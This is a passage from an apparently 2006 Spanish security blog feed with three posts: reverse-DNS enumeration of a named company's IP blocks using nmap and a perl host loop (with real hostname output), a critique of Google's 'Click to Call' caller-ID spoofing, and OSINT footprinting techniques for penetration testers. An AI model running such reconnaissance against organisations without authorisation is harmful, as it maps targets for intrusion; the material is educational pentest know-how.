<p>Cada uno de ellos de diferentes ISP, con lo cual podemos comenzar a  realizar un mapa de la arquitectura de Red de la organización.</p>
<p>Lo que se hará a continuación es resolver cada unos de los equipos en los diferentes bloques de red, para de esta manera identificar los equipos de la organización.</p>
<p>¿Qué herramientas pueden ayudarnos a esto?</p>
<ul>
<li>Nmap</li>
<li>Host</li>
<li>Nslookup</li>
<li>Etc.</li>
</ul>
<p>Si deseamos realizar la tarea con <strong>nmap</strong>, el comando que se sugiere  utilizar es el siguiente:</p>
<p><em>‘nmap  -sL -P0 –dns-server  DNS Red –R’</em></p>
<p>&gt;&gt;nmap -sL  -P0  &#8211;dns-servers 209.134.161.10  209.134.161.1/24</p>
<p>Starting Nmap 4.01 (  http://www.insecure.org/nmap ) at 2006-12-04 16<br />
Failed to resolve given  hostname/IP: ûR.  Note that you can&#8217;t use  &#8216;/<br />
e IP ranges<br />
Host 209.134.161.0 not  scanned<br />
Host 209.134.161.1 not  scanned<br />
Host  atla-ngw5-a-ext.iss.net (209.134.161.2) not scanned<br />
Host atla-ngw5-b-ext.iss.net  (209.134.161.3) not scanned<br />
Host 209.134.161.4 not  scanned<br />
Host 209.134.161.5 not  scanned<br />
Host atla-mx1.iss.net  (209.134.161.6) not scanned<br />
Host lists.it-isac.org  (209.134.161.7) not scanned</p>
<p>También  es posible realizar la resolución de nombres utilizando <strong>‘host’</strong> y <strong>‘perl’</strong>:</p>
<p>perl -e &#8216;for  ($x=1;$x&lt;=254;$x++){system &#8220;host 209.134.161.$x 209.134.161.10&#8243;}&#8217;</p>
<p>Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>Host  1.161.134.209.in-addr.arpa not found: 3(NXDOMAIN)<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>2.161.134.209.in-addr.arpa  domain name pointer atla-ngw5-a-ext.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>3.161.134.209.in-addr.arpa  domain name pointer atla-ngw5-b-ext.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>6.161.134.209.in-addr.arpa  domain name pointer atla-mx1.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>Realizando  la misma búsqueda sobre el otro servidor de dominio y el otro segmento de red  nos da el siguiente resultado:</p>
<p>perl -e &#8216;for  ($x=1;$x&lt;=254;$x++){system &#8220;host 207.231.129.$x 207.231.129.132&#8243;}&#8217;  | grep iss.net</p>
<p>5.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1a.iss.net.<br />
6.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1.iss.net.<br />
7.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1b.iss.net.<br />
9.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw1.iss.net.<br />
11.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw1.mss.iss.net.<br />
12.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw2.mss.iss.net.<br />
18.129.231.207.in-addr.arpa  domain name pointer sfld-perim1.iss.net.<br />
19.129.231.207.in-addr.arpa  domain name pointer sfld-perim2.iss.net.<br />
24.129.231.207.in-addr.arpa  domain name pointer sfld-raw1.iss.net.<br />
25.129.231.207.in-addr.arpa  domain name pointer sfld-raw2.iss.net.<br />
68.129.231.207.in-addr.arpa  domain name pointer sfld-netrwww.mss.iss.net.129.231.207.in-addr.arpa.<br />
133.129.231.207.in-addr.arpa  domain name pointer sfld-mx1.iss.net.<br />
134.129.231.207.in-addr.arpa  domain name pointer sfld-mx2.iss.net.<br />
196.129.231.207.in-addr.arpa  domain name pointer soudom001.iss.net.<br />
197.129.231.207.in-addr.arpa  domain name pointer soumaiexcp01.iss.net.<br />
198.129.231.207.in-addr.arpa  domain name pointer soumaiwebp01.iss.net.<br />
199.129.231.207.in-addr.arpa  domain name pointer bkup-sfld01.iss.net.<br />
200.129.231.207.in-addr.arpa  domain name pointer soufil002.iss.net.<br />
201.129.231.207.in-addr.arpa  domain name pointer souprn001.iss.net.<br />
202.129.231.207.in-addr.arpa  domain name pointer soubacnbup01.iss.net.<br />
203.129.231.207.in-addr.arpa  domain name pointer sfld-rad2.iss.net.<br />
204.129.231.207.in-addr.arpa  domain name pointer sfld-remedy1.mss.iss.net.<br />
205.129.231.207.in-addr.arpa  domain name pointer sfld-fax1.iss.net.<br />
211.129.231.207.in-addr.arpa  domain name pointer sfld-ccur.iss.net.<br />
212.129.231.207.in-addr.arpa  domain name pointer soudom002.iss.net.<br />
213.129.231.207.in-addr.arpa  domain name pointer soumaipmfp01.iss.net.</p>
<p>De esta manera podemos identificar los segmentos de red de una organización así como los equipos que cuentan con un registro en el servidor de dominio.</p>
<p>Para  aquellas personas a las que no les guste trabajar en línea de comandos, <strong>BiDiBlAH</strong> de <strong>Sensepost </strong>es una herramienta que nos permite realizar estas búsquedas de manera automatizada. A continuación se muestran una serie de pantallas utilizando la herramienta mencionada anteriormente.</p>
<p><img class="alignnone size-medium wp-image-46" title="20061204172829289_3" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_3-300x221.jpg" alt="20061204172829289_3" width="300" height="221" /></p>
<p><img class="alignnone size-medium wp-image-47" title="20061204172829289_31" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_31-300x221.jpg" alt="20061204172829289_31" width="300" height="221" /></p>
<p>La información de nombres de dominio y bloques de red brinda a los hackers (o penetrations testers) mucha información para la creación de la arquitectura de red de la organización, además de que constituye el preámbulo para la detección de servicios públicos de la misma.</p>
<p>La siguiente parte del artículo, se enfocara a la detección ser servicios Públicos donde se trataran cosas desde nombres de host hasta escaneos de puertos, así como la obtención de versiones de servicios.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>El servicio de Google ‘Click to Call’ y los riesgos asociados</title>
		<link>http://www.nimrod.com.mx/2006/11/el-servicio-de-google-%e2%80%98click-to-call%e2%80%99-y-los-riesgos-asociados/</link>
		<comments>http://www.nimrod.com.mx/2006/11/el-servicio-de-google-%e2%80%98click-to-call%e2%80%99-y-los-riesgos-asociados/#comments</comments>
		<pubDate>Tue, 28 Nov 2006 04:19:41 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Seguridad Informatica]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[VoIP]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=54</guid>
		<description><![CDATA[Por Murena Myrope Lavin Martinez Google ha puesto a la disposición un nuevo servicio llamado &#8216;Click to Call&#8217; que conectará automáticamente a los usuarios con las listas de teléfonos de negocios que se encuentren mediante los resultados de búsquedas en Google. Google está realizando las primeras pruebas para implementar en su programa publicitario AdWords el [...]]]></description>
			<content:encoded><![CDATA[<p>Por Murena Myrope Lavin Martinez</p>
<p style="text-align: justify;">Google ha puesto   a la disposición un nuevo servicio llamado <em>&#8216;Click to Call&#8217;</em> que conectará automáticamente a los usuarios con las listas de teléfonos de negocios que se encuentren mediante los resultados de búsquedas en Google.</p>
<p style="text-align: justify;">Google está   realizando las primeras pruebas para implementar en su programa publicitario <em> AdWords</em> el sistema <em>&#8216;Click-To-Call&#8217;</em>. Con él, algunos anuncios incluyen un icono de un teléfono verde, que si lo pulsamos nos pedirá que introduzcamos nuestro número de teléfono. Tras escribirlo y pulsar el botón <em>&#8216;Connect For Free&#8217;</em>, Google llama a ese número. Cuando descolgamos, se produce una comunicación entre nosotros y el anunciante, con el cual podemos hablar sobre cualquier duda de manera completamente gratuita.</p>
<p style="text-align: justify;"><span id="more-54"></span></p>
<p style="text-align: center;"><img class="size-medium wp-image-55 aligncenter" title="20061127202541884_1" src="http://new.nimrod.com.mx/wp-content/uploads/2009/01/20061127202541884_1-219x300.jpg" alt="20061127202541884_1" width="219" height="300" /></p>
<p style="text-align: center;"><em>Servicio   ‘Click to Call’ de Google</em></p>
<p style="text-align: justify;">Google no proporcionará en ningún momento nuestro teléfono al anunciante, e incluso aseguran que borrarán el dato de sus servidores &#8220;tras un corto periodo de tiempo&#8221;. El usuario, sin embargo, sí que podrá saber el número de teléfono del anunciante.</p>
<p style="text-align: justify;">Este sistema,   conocido también como <em>&#8216;Pay-per-Call&#8217;</em>, está implementándose con fuerza en la publicidad online, y permite a los anunciantes, por un poco más de dinero, que sus posibles clientes aclaren vía telefónica cualquier duda sobre el producto. El desarrollo de la tecnología VoIP (voz sobre Internet) podría popularizar aún más esta nueva funcionalidad.</p>
<p style="text-align: justify;">Para que este   servicio pueda funcionar, el usuario debe proporcionar su número de   teléfono para que Google pueda hacer un <em>bridge</em> de la llamada   gratuita entre el negocio y el usuario (incluyendo llamadas de larga   distancia).</p>
<p style="text-align: justify;">Un problema con este tipo de servicio es que no hay manera de validar el número de teléfono que el usuario proporciona. Google menciona que tienen mecanismos para evitar llamadas de broma repetidas, pero existe un gran potencial para hacer un mal uso de este servicio.</p>
<p style="text-align: justify;">Otra preocupación es que Google menciona que manipulará el valor del &#8216;Caller-ID&#8217; en las llamadas hechas al número que proporcionó el usuario, para que despliegue que la llamada proviene del negocio con quien se quiere hacer la llamada. Esto es un grave problema, ya que puede ser utilizado para convencer a una víctima de que esta siendo llamada directamente desde el negocio en cuestión, y el negocio verdadero puede ser objeto de reclamaciones acerca de llamadas que nunca realizó.</p>
<p style="text-align: justify;">La explicación de Google para esta manipulación en el &#8216;Caller-ID&#8217; es que es útil tener el número del negocio registrado para poder realizar llamadas posteriores. Esto es cierto, sin embargo, el riesgo del abuso que se puede hacer utilizando esta característica es demasiado alto. La mejor práctica es que el campo del <em>&#8216;Caller-ID&#8217;</em> NUNCA debe ser falsificado.</p>
<p style="text-align: justify;">Una posible solución para este problema, sería que el campo del &#8216;Caller-ID&#8217; anunciara a ambas partes (usuario y negocio) que la llamada proviene de Google. Se podría hacer incluso que el campo del &#8216;Caller-Id&#8217; despliegue un número gratuito de contacto hacia Google. Al marcar a dicho número pudiera existir una grabación que explique que la llamada se originó del servicio de Google <em>‘Click to Call&#8217;</em> e incluso dar opciones (página web, dirección de correo, otro número de teléfono, etc.) para reportar abusos que se estén realizando con este sistema. Esta opción seria benéfica para todas las partes; Google podría identificar y detener a los usuarios que estén realizando abusos del sistema y el servicio sería más amigable para los usuarios y negocios.</p>
<p style="text-align: justify;">Ligas:</p>
<p style="text-align: justify;"><a href="http://www.google.com/help/faq_clicktocall.html">http://www.google.com/help/faq_clicktocall.html</a><br />
<a href="http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20061120GooglesClickToCallRipeForAbuse.html">http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20061120GooglesClickToCallRipeForAbuse.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/11/el-servicio-de-google-%e2%80%98click-to-call%e2%80%99-y-los-riesgos-asociados/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Siguiendo el rastro a las organizaciones.</title>
		<link>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/</link>
		<comments>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/#comments</comments>
		<pubDate>Fri, 24 Nov 2006 03:24:21 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PT]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=60</guid>
		<description><![CDATA[Siguiendo el rastro a las organizaciones. Por Darkslaker En la vida cotidiana de hacker o un penetration tester la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Siguiendo el rastro a las organizaciones.</strong><br />
<strong>Por Darkslaker</strong></p>
<p style="text-align: justify;">En la vida cotidiana  de <em>hacker</em> o un <em>penetration tester</em> la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y la medición de los tiempos que tomaran los ataques. Esto nos da un perfil completo de las políticas de seguridad del objetivo a atacar. Seguir el rastro es, con frecuencia, la tarea mas ardua a la hora de determinar la filosofía de seguridad de una empresa, sin embargo, es una de las tareas más importantes.</p>
<p style="text-align: justify;">Entre la información  que debemos recolectar se encuentra:</p>
<ul style="text-align: justify;">
<li>Información descubierta en fuentes publicas.</li>
<li>Nombres de dominio.</li>
<li>Segmentos de red</li>
<li>Servicios públicos ofrecidos.</li>
<li>Arquitectura de los sistemas visibles.</li>
</ul>
<p style="text-align: justify;"><span id="more-60"></span>Aunque muchas técnicas de rastreo de información son muy parecidas resulta muy difícil dar una guía paso a paso para efectuar el seguimiento a esta información. El objetivo en este artículo es enumerar los pasos básicos que se pueden utilizar en la mayoría de los casos. Es importante mencionar que los pasos no son consecutivos, ni lineales, ni únicos; la información recabada en cada punto a tratar puede ser utilizada o necesaria para otros. No se darán ejemplos de todas las técnicas ni tipo de información buscada, pero si se dejaran las bases para dejar volar la imaginación y crear otros caminos.</p>
<p style="text-align: justify;">La mayoría de las pruebas o tareas a realizar son casi indetectables por los administradores de red ya que muchas son búsquedas de información sin tocar la infraestructura del objetivo. Es importante mencionar que algunas de las técnicas mostradas a continuación (como escaneos de puertos) son ilegales en muchas partes del mundo a menos que se cuente con permiso explicito de la organización.</p>
<p style="text-align: justify;">El articulo fue pensado para salir en una sola entrega pero por le tamaño del mismo sera liberado en diferentes articulos mas pequeños.</p>
<p style="text-align: justify;"><strong>Información descubierta en fuentes publicas ( Inteligencia competitiva).</strong></p>
<p style="text-align: justify;">Toda organización moderna tiene presencia en Internet, la gran cantidad de información que puede ser obtenida en Internet es increíble. ¿Que tipo de información es posible encontrar?:</p>
<ul style="text-align: justify;">
<li>Ubicaciones físicas y logias.</li>
<li>Compañías o entidades relacionadas.</li>
<li>Noticias.</li>
<li>Números telefónicos.</li>
<li>Contactos de la compañía.</li>
<li>Información mal intencionada o de desprestigio.</li>
<li>Directivas de seguridad.</li>
<li>Archivos de configuración.</li>
<li>Currículos de personal.</li>
<li>Arquitecturas de red.</li>
<li>Tecnologías utilizadas.</li>
<li>Etc…Todo es posible solo imagínate y buscaló.</li>
</ul>
<p style="text-align: justify;">Lo primero que  debemos recordar es que <em>Google</em> es nuestro amigo, y en muchas ocasiones todo lo sabe, sin embargo no es la única fuente donde buscar información. A continuación listo algunos de los sitios que pueden contener información valiosa para nuestro objetivo:</p>
<ul style="text-align: justify;">
<li>Google</li>
<li>Usenet</li>
<li>Groups.google</li>
<li>http://archives.neohapsis.com</li>
<li>NIC ( O su representante dependiendo la localidad       donde nos encontremos)
<ul>
<li>Europa y África <a href="http://www.ripe.net/">http://www.ripe.net</a></li>
<li>Norte y Sur América <a href="http://www.arin.net/">http://www.arin.net</a></li>
<li>Asia Pacifico <a href="http://www.apnic.net/">http://www.apnic.net</a></li>
<li><a href="http://www.ripe.net/">http://www.ripe.net</a></li>
</ul>
</li>
<li>Edgar Database</li>
<li>La pagina de la compañía.</li>
<li>Paginas que hablen mal de compañías:
<ul>
<li><a href="http://www.apestan.com/">www.apestan.com</a></li>
<li><a href="http://www.*censored*edcompany.com/">www.f u c k edcompany.com</a></li>
<li><a href="http://www.dotcomtod.de/">www.dotcomtod.de</a></li>
</ul>
</li>
<li>Buscar en base de datos de ofertas de trabajo en       línea:
<ul>
<li>OCC Mundial</li>
<li>Lucas5</li>
<li>Laborum</li>
</ul>
</li>
<li>Fuentes P2P como kazaa,Gnutella así como sitios       warez</li>
</ul>
<p style="text-align: justify;">Casi siempre nuestras búsquedas de información comienzan con Google, por su versatilidad y gran poder de búsqueda. Google cuenta con palabras claves que nos permiten realizar búsquedas mas especializadas de información a continuación mencionare algunas de ellas:</p>
<ul style="text-align: justify;">
<li>intitle ( Nos permite realizar búsquedas en los títulos de las paginas web)</li>
<li>inurl ( Nos permite realizar búsquedas en los URL de las paginas)</li>
<li>filetype ( Nos permite definir las búsquedas de ciertos tipos de archivos)</li>
<li>site ( Nos permite definir la búsqueda en sitios concretos)</li>
<li>cache ( Realizamos búsquedas en e cache de google y aun que las paginas ya no existan mas podremos encontrar información valiosa)</li>
<li>info ( Información relacionada con nuestra búsqueda)</li>
<li>autor ( Buscar información que ha publicado un autor en especifico)</li>
<li>group( Búsqueda en grupos de google)</li>
<li>insubject ( Búsqueda de mensajes en su Asunto)</li>
</ul>
<p style="text-align: justify;">La manera de usarlo  es: <em>‘operador avanzado<strong>:</strong>lo que buscamos’</em>. Un buen ejemplo  para mostrar es el siguiente:</p>
<p style="text-align: justify;">intitle:&#8221;index of&#8221; + ebooks  +&#8221;Google Hacking&#8221;</p>
<p style="text-align: justify;">La combinación anterior nos permitirá buscar el Libro Google Hacking donde podemos aprender mas de como utilizar google para nuestros propósitos. ( Recuerda siempre comprar los libros que utilices)</p>
<p style="text-align: justify;">Otro buscador donde podemos encontrar mucha información es : <a title="http://www.kartoo.com/" href="http://www.kartoo.com/">http://www.kartoo.com/</a></p>
<p style="text-align: justify;">kartoo es un innovador buscador que nos permite generar mapas de la información que buscamos. A que me refiero con mapas, ver de una manera gráfica donde se menciona la información de la busqueda realiza a continuación muestro una imagen de una búsqueda de la palabra darkslaker</p>
<p style="text-align: justify;"><img class="alignnone size-medium wp-image-61" title="20061123183835796_1" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061123183835796_1-300x176.jpg" alt="20061123183835796_1" /></p>
<p style="text-align: justify;">Como se puede notar la palabra se relaciona con listas de seguridad informática, asi como otros seudonimos como Rienzi.</p>
<p style="text-align: justify;">Con este tipo de búsquedas podemos encontrar la relaciones de organizaciones, con personas.</p>
<p style="text-align: justify;">Otro buen lugar para buscar información de organizaciones es la busqueda de Curriculums o vacantes en las organizaciones a continuación muestro un ejemplo de una vacante:</p>
<pre style="text-align: justify;"><em><em>Nivel de Estudios: Ingeniero en Sistemas Computacionales, enfocado a telecomunicaciones
</em></em><em><em>Experiencia: Mínima de 2 - 3 años comprobables en puesto similar
Amplio dominio de Sistemas Operativos
Alto nivel en Administración y configuración de redes
Alto nivel en Redes de Voz/Datos (TCP/IP, routing, firewall, QoS, DNS)
Alto nivel de conocimiento en Hardware orientado a Telecomunicaciones
Análisis, diseño e implementación de esquemas de alta seguridad
Amplio dominio de Sistemas Operativos Windows NT, 200X Server
Amplio dominio de Conmutadores y PBX
Alto grado de resposabilidad y compromiso
Trabajo bajo presión y metas Disponibilidad de horario Disponibilidad Inmediata
Alta capacidad de aprendizaje rápido
Inglés técnico mínimo: 80% <span class="style1">Conocimientos de Citrix y <strong>Cisco</strong> Indispensable</span>
EstabilidadAgradable ambiente laboral 

</em></em></pre>
<p style="text-align: justify;">La información que se muestra en color rojo, nos puede brindar un mapa de las tecnologías que utiliza la organización.</p>
<p style="text-align: justify;">Un par de lugares mas que nos puede ayudar a conocer las tecnologías de una organización es :</p>
<p style="text-align: justify;"><a href="http://www.archive.org/">http://www.archive.org </a>La cual nos brinca un histórico de como eran las paginas web, a medida del tiempo, con esto podemos crear un mapa de las tecnologías en sitios web.</p>
<p style="text-align: justify;"><a href="http://www.netcraft.com/">http://www.netcraft.com</a> Nos permite una mirada de un historico de las técnologias en servidores Web y provedores de servicios en una organización, la siguiente imagen nos muestra un historico de www.nimrod.com.mx</p>
<p style="text-align: justify;"><img class="alignnone size-medium wp-image-62" title="20061123183835796_2" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061123183835796_2-300x176.jpg" alt="20061123183835796_2" /></p>
<p style="text-align: justify;">La información que podemos encontrar me manera publica es inmensa y las posibilidades se extiende con tiempo y deseos de encontrarla.</p>
<p style="text-align: justify;">En la siguiente entrega del articulo se mostrara como identificar nombres de dominio de una organización así como los segmentos de red públicos de la misma y sus ISP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
